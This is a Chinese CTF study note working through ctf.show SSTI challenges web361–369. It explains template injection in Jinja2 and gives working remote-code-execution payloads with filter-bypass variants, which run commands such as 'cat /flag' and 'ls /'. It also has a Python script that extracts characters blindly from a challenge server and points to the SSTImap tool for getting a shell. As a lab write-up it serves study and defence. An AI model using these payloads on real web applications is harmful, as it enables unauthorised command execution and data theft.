ctf_show笔记篇(web入门---SSTI)

前言

模板引擎

模板引擎是为了让用户界面以及业务数据分离开才产生的,模板引擎会生成特定的文档,然后通过模板引擎生成前端html代码,然后再获取用户数据再放到渲染函数里渲染,最后将生成的html代码个渲染好的数据结合拿给浏览器呈现给用户。

SSTI

SSTI(Server-Side Template Injection)是指在服务器端模板中存在漏洞,允许恶意用户通过注入攻击代码来执行任意命令或操作。在一些常见的Web框架中(如Python的Flask、PHP的ThinkPHP、Java的Spring等),用户输入通常会经过控制器(Controller)处理,然后传递给模型(Model)进行业务逻辑处理和数据库操作,最后再返回给视图(View)层进行渲染展示。

SSTI漏洞的根本原因是服务器端未经过滤的接受了用户输入,并将其直接作为模板内容的一部分。在模板引擎渲染过程中,恶意注入的代码会被执行,从而可能导致敏感信息泄露、代码执行、甚至服务器被入侵。其影响范围主要取决于模板引擎的复杂性和漏洞的严重程度。

SSTI问题可能存在于任何使用模板的地方,因为它并不依赖于特定编程语言,也不是沙盒绕过的一种形式。沙盒绕过只是一种模板引擎为了防止SSTI漏洞而设计的一种安全机制,它限制了用户只能使用已定义或声明的模块,适用于所有的模板引擎。

简单来说造成ssti的原因就是

  1. 模板参数用户可控
  2. 参数过滤不严谨

怎么测试是什么模板

这里有大部分的测试模板的方法

绕过方法

  1. 大多数的过滤绕过都可以使用get请求request.args.a或者request.values.a来传输参数
    例如:
    ?name=request.values.a&a=cat /flag
  2. 过滤了下划线这些的话可以使用attr和get请求结合起来绕过
    例如:
    ?name=a.b
    可以改为
    ?name=(a | attr(request.args.a))&a=b
  3. 如果过滤的比较严谨,可以尝试使用类似于盲注的形式,后面有解释
  4. 可以使用{%%}绕过{{}},有些另类的过滤方法比如,他去过滤{{}}这个里面的参数,{%%}而这个里面的参数却不去过滤直接给无视了,第368题就是典型的例子

web361

手工

这一题的控制点是name

首先需要知道他是那种框架

可以用工具跑也可以手注,建议先手注再跑工具

这里明显就是jinja2或者twig

jinjia2官方poc

{% for c in [].__class__.__base__.__subclasses__() %}
     {% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {undefined{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

使用的时候需要url编码后再拿去传输

成功执行命令

payload:

{% for c in [].class.base.subclasses() %}{% if c.name == 'catch_warnings' %}{% for b in c.init.globals.values() %}{% if b.class == {}.class %}{% if 'eval' in b.keys() %}{{ b['eval']('import("os").popen("ls /").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

工具(sstimap)

这里附上工具路径

git clone https://github.com/vladko312/SSTImap.git

直接测试,getshell

跑出来是jinja2框架,拿到shell

web362

这一题过滤了一些数字的使用但是官方的poc可以使用

工具的话执行不了

web363

过滤了单双引号,利用get请求绕过

?name={{().class.mro[1].subclasses()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web364

这一题args用不了的,但是还是可以用get请求绕过,用values替换args

?name={{().class.mro[1].subclasses()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web365

这一题过滤了方括号,使用getitem代替方括号其他不变

?name={{().class.mro.getitem(1).subclasses().getitem(407)(request.values.a,shell=True,stdout=-1).communicate().getitem(0)}}&a=cat /flag

web366

这一题过滤了下划线,利用attr

?name={{lipsum.globals.os.popen(request.values.a).read()}}&a =cat /flag

这里含有下划线的部分就是lipsum.__globals__这一部分

(lipsum | attr(request.values.b))

通过利用get请求将含有下划线的通过b传入就可以绕过过滤,再通过attr的方式返回一个属性而不返回项目

相当于是值传入参数不执行

payload:

?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=globals

web367

过滤了os,感觉只要不过滤request.values.a这个请求,都可以使用get的方式去绕过

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=globals&b=os&c=cat /flag

web368

这一次过滤了请求了request,但是只限于再{{}}这个里面,就很神奇,使用{%%}就能绕过

?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=globals&b=os&c=cat /flag

这一题让我有了个不成熟的想法,前面的过滤是否都是过滤的{{}}这个里面的东西是否使用{%%}就能全部绕过了,尝试以后似乎不太行

web369

这里参考了Write-Up,其实和使用set去构造是差不多的,只是利用了类似盲注的东西

这个脚本是针对于此题写的,它每跑一次去对比一下是否得到了payload里的小写字段

然后用result去接收,一个一个的去跑,直到result发上去等于

说他是针对于此靶场写的脚本是因为

payload 中的命令字符被逐个遍历发送,但是代码中并没有解析 HTTP 响应中的字符,而是尝试在响应文本中查找 <h3> 标签,然后获取标签后面的一个字符。这种方法可能会导致获取到错误的字符,因为在 HTML 中 <h3> 标签的位置可能会发生变化

python 复制代码
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j.lower():
            print("(config|string|list).pop(%d).lower()  ==  %s"%(i,j))
            result+="(config|string|list).pop(%d).lower()~"%(i)
            break
print(result[:len(result)-1])
相关推荐
CXDNW11 分钟前
【网络面试篇】HTTP(2)(笔记)——http、https、http1.1、http2.0
网络·笔记·http·面试·https·http2.0
使者大牙11 分钟前
【大语言模型学习笔记】第一篇:LLM大规模语言模型介绍
笔记·学习·语言模型
ssf-yasuo24 分钟前
SPIRE: Semantic Prompt-Driven Image Restoration 论文阅读笔记
论文阅读·笔记·prompt
ajsbxi36 分钟前
苍穹外卖学习记录
java·笔记·后端·学习·nginx·spring·servlet
TeYiToKu1 小时前
笔记整理—linux驱动开发部分(9)framebuffer驱动框架
linux·c语言·arm开发·驱动开发·笔记·嵌入式硬件·arm
dsywws1 小时前
Linux学习笔记之时间日期和查找和解压缩指令
linux·笔记·学习
cuisidong19973 小时前
5G学习笔记三之物理层、数据链路层、RRC层协议
笔记·学习·5g
乌恩大侠3 小时前
5G周边知识笔记
笔记·5g
jjyangyou3 小时前
物联网核心安全系列——物联网安全需求
物联网·算法·安全·嵌入式·产品经理·硬件·产品设计
AltmanChan4 小时前
大语言模型安全威胁
人工智能·安全·语言模型